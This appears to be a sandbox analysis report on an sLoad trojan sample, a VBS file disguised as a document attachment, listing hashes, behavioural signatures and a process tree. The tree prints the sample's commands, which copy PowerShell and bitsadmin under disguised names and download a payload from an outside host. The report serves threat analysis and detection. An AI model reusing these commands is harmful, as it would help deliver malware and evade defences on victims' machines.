sload | 41c17c8d5677a83251270e73488a1fc122c9b1ba571b411b0e0ef439302ae866

Analysis

max time kernel
117s
max time network
126s
platform
windows7_x64
resource
win7-en-20211208
submitted
21-02-2022 22:48

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General

Target

Allegato_doc_JNKMTJ64B29L424O.vbs
Size

8KB
MD5

5d2f707cea7e80c85d83f14213e1d7e0
SHA1

6a7e4e3a532ef4cbbf77508931324a20fe79d7e2
SHA256

d3d75e2f255c63ccc14496877d562f04641da53ce9bf064b1b8e4969034cce9a
SHA512

beb572b51df993ed0a7464789a211d79b906387fdcceff2bcb517c98f83c933fc3513c6e707ae3b7209b1f6d618ccbd7284b17704083b8023e1c61ccf6868090

Score

10^/10

sload stealer trojan

Malware Config

Signatures

sLoad
sLoad is a PowerShell downloader that can exfiltrate system information and deliver additional payloads.
trojan stealer sload

Executes dropped EXE 1 IoCs

pid	Process
1376	wjOytesin.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 13 IoCs

description	pid	Process	procid_target
PID 948 wrote to memory of 520	948	WScript.exe	27
PID 948 wrote to memory of 520	948	WScript.exe	27
PID 948 wrote to memory of 520	948	WScript.exe	27
PID 520 wrote to memory of 588	520	cmd.exe	29
PID 520 wrote to memory of 588	520	cmd.exe	29
PID 520 wrote to memory of 588	520	cmd.exe	29
PID 520 wrote to memory of 996	520	cmd.exe	30
PID 520 wrote to memory of 996	520	cmd.exe	30
PID 520 wrote to memory of 996	520	cmd.exe	30
PID 948 wrote to memory of 1376	948	WScript.exe	31
PID 948 wrote to memory of 1376	948	WScript.exe	31
PID 948 wrote to memory of 1376	948	WScript.exe	31
PID 948 wrote to memory of 1376	948	WScript.exe	31

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_JNKMTJ64B29L424O.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:948
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:520
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fnpWSeyED.exe
    3⤵
    PID:588
- - C:\Windows\system32\cmd.exe
    cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\wjOytes*.exe
    3⤵
    PID:996
- C:\ProgramData\wjOytesin.exe
  "C:\ProgramData\wjOytesin.exe" /transfer szPZvX /download https://cxminute.com/minu/JNKMTJ64B29L424O/uk.css C:\Users\Admin\AppData\Roaming\uk.css
  2⤵
  - Executes dropped EXE
  PID:1376

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/948-55-0x000007FEFC2A1000-0x000007FEFC2A3000-memory.dmp

Filesize
8KB

Download
memory/1376-58-0x0000000076B81000-0x0000000076B83000-memory.dmp

Filesize
8KB

Download